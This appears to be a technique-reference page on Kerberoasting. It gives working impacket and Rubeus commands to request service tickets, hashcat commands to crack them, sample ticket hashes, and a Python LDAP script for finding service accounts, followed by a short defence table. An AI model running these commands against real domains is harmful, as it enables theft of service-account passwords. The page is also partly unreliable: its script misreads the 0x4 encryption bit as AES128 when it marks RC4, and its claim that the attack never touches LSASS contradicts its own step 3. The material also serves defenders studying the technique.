Kerberoasting
Overview
Any authenticated domain user can request a Kerberos service ticket (TGS) for any registered service principal name (SPN). The KDC encrypts part of the ticket with the service account’s password hash. An attacker requests tickets for every service account SPN, exports the encrypted blobs, and cracks them offline — never touching LSASS, never opening a privileged handle.
The attack requires only a valid domain account (which any employee has) and network access to the KDC on port 88. The cracking is entirely offline. This makes Kerberoasting one of the most passive credential-access techniques available — it produces minimal network noise and requires no elevated privileges to execute.
RC4-encrypted tickets (etype 0x17) crack in seconds on a GPU for short passwords. Enforcing
AES-only Kerberos encryption (msDS-SupportedEncryptionTypes = 0x18) across all service
accounts eliminates this shortcut, though AES tickets are still crackable if the password is
weak.
The call chain
- 1enumerate SPNs (LDAP query)Find all service principal names in the domain — these identify accounts with Kerberos service tickets.
- 2KerberosRequestorSecurityToken / GetTGSTicketRequest a TGS ticket for each SPN — the KDC encrypts the ticket with the service account's hash.
- 3export ticket from memoryPull the raw ticket bytes from the Kerberos credential cache using LSASS APIs or Mimikatz.
- 4crack offlineFeed the ticket blob to hashcat or john; RC4 encryption (etype 23) is orders of magnitude faster to crack than AES.
Reference implementation
Python (impacket — remote, no domain join required)
# Enumerate SPNs and request tickets — works from Linux $ python3 GetUserSPNs.py corp.local/jsmith:Password1 -outputfile hashes.txt Impacket v0.11.0 - Copyright 2023 Fortra ServicePrincipalName Name MemberOf PasswordLastSet -------------------------------- --------- -------- ------------------- MSSQLSvc/sql01.corp.local:1433 svc_sql - 2024-01-15 09:12:33 HTTP/intranet.corp.local svc_web - 2023-11-02 14:45:00 SPNs found: 2 $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a3c8... $krb5tgs$23$*svc_web$CORP.LOCAL$HTTP/intranet.corp.local*$f9d2...
# Enumerate SPNs and request tickets — works from Linux
$ python3 GetUserSPNs.py corp.local/jsmith:Password1 -outputfile hashes.txt
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet
-------------------------------- --------- -------- -------------------
MSSQLSvc/sql01.corp.local:1433 svc_sql - 2024-01-15 09:12:33
HTTP/intranet.corp.local svc_web - 2023-11-02 14:45:00
SPNs found: 2
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a3c8...
$krb5tgs$23$*svc_web$CORP.LOCAL$HTTP/intranet.corp.local*$f9d2...PowerShell (Rubeus — on-host)
# Rubeus: request tickets for all SPNs, output in hashcat format .\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt # Target only accounts with RC4 enabled for faster cracking .\Rubeus.exe kerberoast /rc4opsec /outfile:hashes_rc4.txt # Target a single high-value account .\Rubeus.exe kerberoast /user:svc_sql /format:hashcat
# Rubeus: request tickets for all SPNs, output in hashcat format
.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
# Target only accounts with RC4 enabled for faster cracking
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes_rc4.txt
# Target a single high-value account
.\Rubeus.exe kerberoast /user:svc_sql /format:hashcatCracking with hashcat
# RC4 ticket (etype 23) — mode 13100 $ hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule # AES256 ticket (etype 18) — mode 19700 (slower) $ hashcat -m 19700 hashes_aes.txt /usr/share/wordlists/rockyou.txt
# RC4 ticket (etype 23) — mode 13100
$ hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# AES256 ticket (etype 18) — mode 19700 (slower)
$ hashcat -m 19700 hashes_aes.txt /usr/share/wordlists/rockyou.txtSPN enumeration via LDAP
from ldap3 import Server, Connection, SUBTREE, ALL_ATTRIBUTES
def enum_spns(dc_ip, domain, username, password):
s = Server(dc_ip, get_info='ALL')
c = Connection(s, f"{domain}\\{username}", password, auto_bind=True)
base_dn = ','.join(f'DC={part}' for part in domain.split('.'))
c.search(base_dn,
'(&(objectClass=user)(servicePrincipalName=*))',
SUBTREE,
attributes=['sAMAccountName','servicePrincipalName',
'pwdLastSet','msDS-SupportedEncryptionTypes'])
for entry in c.entries:
enc_types = int(getattr(entry, 'msDS-SupportedEncryptionTypes', 0) or 0)
rc4_allowed = not (enc_types & 0x4) # 0x4 = AES128; if absent, RC4 is default
print(f"[{'RC4' if rc4_allowed else 'AES'}] {entry.sAMAccountName}")
for spn in entry.servicePrincipalName:
print(f" SPN: {spn}")from ldap3 import Server, Connection, SUBTREE, ALL_ATTRIBUTES
def enum_spns(dc_ip, domain, username, password):
s = Server(dc_ip, get_info='ALL')
c = Connection(s, f"{domain}\\{username}", password, auto_bind=True)
base_dn = ','.join(f'DC={part}' for part in domain.split('.'))
c.search(base_dn,
'(&(objectClass=user)(servicePrincipalName=*))',
SUBTREE,
attributes=['sAMAccountName','servicePrincipalName',
'pwdLastSet','msDS-SupportedEncryptionTypes'])
for entry in c.entries:
enc_types = int(getattr(entry, 'msDS-SupportedEncryptionTypes', 0) or 0)
rc4_allowed = not (enc_types & 0x4) # 0x4 = AES128; if absent, RC4 is default
print(f"[{'RC4' if rc4_allowed else 'AES'}] {entry.sAMAccountName}")
for spn in entry.servicePrincipalName:
print(f" SPN: {spn}")Defence
| Control | Effect |
|---|---|
| Strong service account passwords (25+ random chars) | Cracking infeasible even with GPU |
AES-only Kerberos (msDS-SupportedEncryptionTypes = 0x18) |
No RC4 tickets; AES still crackable but much slower |
| Group Managed Service Accounts (gMSA) | 120-char auto-rotating password; practically uncrackable |
| Honey SPN accounts | Zero-FP alert on any ticket request |
| EID 4769 alerting on etype 0x17 requests | Real-time detection |
gMSA is the permanent fix. Converting service accounts to gMSA eliminates the human-chosen password that makes kerberoasting viable.